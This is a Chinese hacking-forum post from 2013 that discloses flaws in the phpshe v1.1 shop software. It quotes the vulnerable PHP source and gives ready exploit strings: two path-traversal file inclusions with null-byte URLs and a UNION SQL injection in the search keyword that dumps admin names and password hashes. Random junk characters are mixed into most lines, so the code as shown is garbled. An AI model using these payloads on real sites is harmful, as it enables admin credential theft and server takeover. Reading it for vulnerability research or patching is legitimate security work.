找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2081|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/8 D0 C# P& w2 p2 d. G+ d" [, R$ |
/* Phpshe v1.1 Vulnerability6 Y) i. i' V0 s5 q: |
/* ========================# r6 N1 w5 N: p
/* By: : Kn1f3  Q7 Y" n: i: z9 K
/* E-Mail : 681796@qq.com
% L! h2 e) r. ]/*******************************************************/- \1 ^# H2 ^1 M9 Y( J2 Z. v
0×00 整体大概参数传输2 K0 Z( R0 L9 a; L/ X  L7 |. a
6 E+ i0 T. B( A) o
) {& ]- I* U' }; Y

5 d0 j+ H% u7 q, e//common.php" }. ^/ O# A# i8 A: n7 u
if (get_magic_quotes_gpc()) {2 R- m* r& P0 R8 Z- K) w' y* x
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');3 T: Z3 j$ A4 A# Y' E, r
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
; ^$ S2 J# |7 o3 S0 W' U4 S}7 s4 P3 U* M2 s. ~
else {& D0 [. d2 Z! p! {2 M, z0 y
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
# m  V8 q6 K4 T!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');, ]0 }7 x$ u+ u- }' I  @
}
( Q$ d% ]8 m# F8 _9 F& Nsession_start();
4 v5 ~5 `1 j4 [( b  }: ?!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
. v- i* S0 E) U# P$ g/ O!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');. q; f& Q' M1 K

# _, X. i' v+ E3 x& L" ?' E3 j! ]0×01 包含漏洞1 A" t6 w0 X: i- v/ p/ C" J
+ B) f% Z( |  ^( N3 s& {% [" _

1 Y& y0 T* a4 H' D5 g0 j7 B//首页文件
- p% u  Z# C: |! l) i: d5 Y<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);9 L$ F  Q; z2 j& V; q' U4 p- b
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞0 `! \* J- C! p+ w7 Q# V8 ^7 r
pe_result();
8 a+ z  k  E- W7 j! |( z6 u& L?>
, B/ b+ m6 ?1 t3 o  n' ~0 T0 z//common 文件 第15行开始
/ t! H4 A# p, a. }: ?url路由配置4 H7 A4 F, s) b8 d
$module = $mod = $act = 'index';
. D9 S+ @: `9 H+ H0 }1 i$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);6 W6 I0 N& y0 }. ~
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
7 ?+ J2 \. |; Q$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);! M1 X) Y" X6 n( ?3 Q- v. c
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00: c% Z* n: F6 K

  |; |4 ~9 g, U; g; \1 t

5 p0 o0 V. w5 y 0×02 搜索注入( Z9 H( a( {; O1 m
4 o! X: b$ W" H( q1 H6 J/ _
<code id="code2">

//product.php文件
$ `, J" y0 q+ Mcase 'list':
. e$ q8 B( K3 n0 p$category_id = intval($id);" n. ?8 m& V3 X* f) G2 i7 c
$info = $db->pe_select('category', array('category_id'=>$category_id));
( z' ~3 }" `5 L9 O$ t2 e% k+ [) h//搜索
3 p+ D! a+ H5 i6 Q5 l" V3 w5 F) i$sqlwhere = " and `product_state` = 1";
- n+ C* I/ T" k' P! h' ~, R* x+ @pe_lead('hook/category.hook.php');+ u! y, _2 K2 v2 G: D: e
if ($category_id) {
% n$ J( d$ Z+ B9 V( o# iwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";- L% h# d: l7 X' L2 N! W
}: s* t4 G" ]% V" U3 U1 z
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ D0 Y% Z. v3 e% B# v( Sif ($_g_orderby) {
/ d& M% e. T, v/ Y6 A9 I$orderby = explode('_', $_g_orderby);, f% `2 q+ b; F  n; L5 l) k* Y& K+ f
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";1 F: Q& b: m: m/ }& b, \$ p' g
}
+ A# |+ y3 i7 Q. s0 S3 Gelse {7 J0 W9 X& f/ ^6 N
$sqlwhere .= " order by `product_id` desc";
. y( l0 g0 T( v; b}- d/ g! \- r; u8 w3 ]& e  u8 A8 {/ P1 F
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 J& Y& |) t: W' I* a! y//热卖排行) [6 a8 U: j" n0 s
$product_hotlist = product_hotlist();
5 D6 G4 j) w  a8 i$ |: z//当前路径$ H! o9 L7 E; m0 ?
$nowpath = category_path($category_id);
  H1 w; ~( p" ^6 k$seo = pe_seo($info['category_name']);+ x9 J2 w7 r- j6 f* Q0 {& \) u
include(pe_tpl('product_list.html'));
! u5 H% X! X6 ^% i//跟进selectall函数库' m$ }6 W  |. t+ ~! ?) U9 r1 y
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
, J4 t% T3 F+ |% R0 x# R% F{
6 o0 ?$ p4 }5 b3 w% r//处理条件语句4 U1 O: e$ [1 J
$sqlwhere = $this->_dowhere($where);
+ s4 ]' v$ u- ~; [+ Lreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);* l; c( i' d! V7 _& }" ^9 ^
}( E: C, Q7 {2 [3 c% H( A; w* j8 T
//exp0 K( d: Q! F5 S1 b; F" b) T0 e$ E$ P1 Y
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1; u8 ~1 G- `7 o( ~: h

</code>
( j" V% s. ^3 o4 f- f* w
) _1 S' i: ?% {% D% P* V9 j0 I+ |: j0×03 包含漏洞2
! B3 n& L  n/ N3 m- N. j
2 d; x/ V) F# n1 I<code id="code3">

//order.php

case 'pay':

; G, d$ h' P6 v5 h' z
$order_id = pe_dbhold($_g_id);


/ c  ?! P& b; y$ _. M* O6 m0 C' N$cache_payway = cache::get('payway');


, H- H5 M" P5 t( yforeach($cache_payway as $k => $v) {

4 J' F$ J" \! u. K9 A$ a
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


; q5 w( A; W' g$ D/ G+ bif ($k == 'bank') {


! s2 R5 h4 f4 w2 A1 @( P( h2 s$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


$ f: i/ O1 z! D4 q}

$ `+ Z) F8 [8 x# a7 v
}

+ `2 B  I  k6 d5 @
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

0 v- X" m7 @7 @5 H
!$order['order_id'] && pe_error('订单号错误...');

" ]! R0 [3 R; F* M
if (isset($_p_pesubmit)) {


- ]" F5 E% a: B. A0 eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

- d' @; W! J' ]" M  j& n) T! c
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! u: g7 v0 I8 |
foreach ($info_list as $v) {


: y* Z7 z; K( L" T' F* _6 M$order['order_name'] .= "{$v['product_name']};";
6 [) R0 u2 y9 t( O, O9 `# X8 e


9 j9 o- g4 M! X* Z" d5 \}

! b8 w2 a: v: t# u! X
echo '正在为您连接支付网站,请稍后...';

2 O. a: z6 ?! a3 [0 e# X- R2 \; m
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


9 e5 I8 r8 B* J# {, @, [2 X}//当一切准备好的时候就可以进行"鸡肋包含了"


7 }* ?1 O" c1 n. [+ H6 C$ m1 Y+ Lelse {

: E; B( G9 l. i  `& ]) J
pe_error('支付错误...');


% u, M8 r) P) b6 T0 b  }}


! |* ?- `" V4 B4 E8 Y}


2 j; j) M  G: t* ?- M$seo = pe_seo('选择支付方式');

7 N* r. ~. W% y3 c9 N3 n# V
include(pe_tpl('order_pay.html'));


8 n2 x$ g6 l8 B, O& R6 K$ n) o, gbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
; U# u; k' L6 }- ?4 v9 T+ jhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表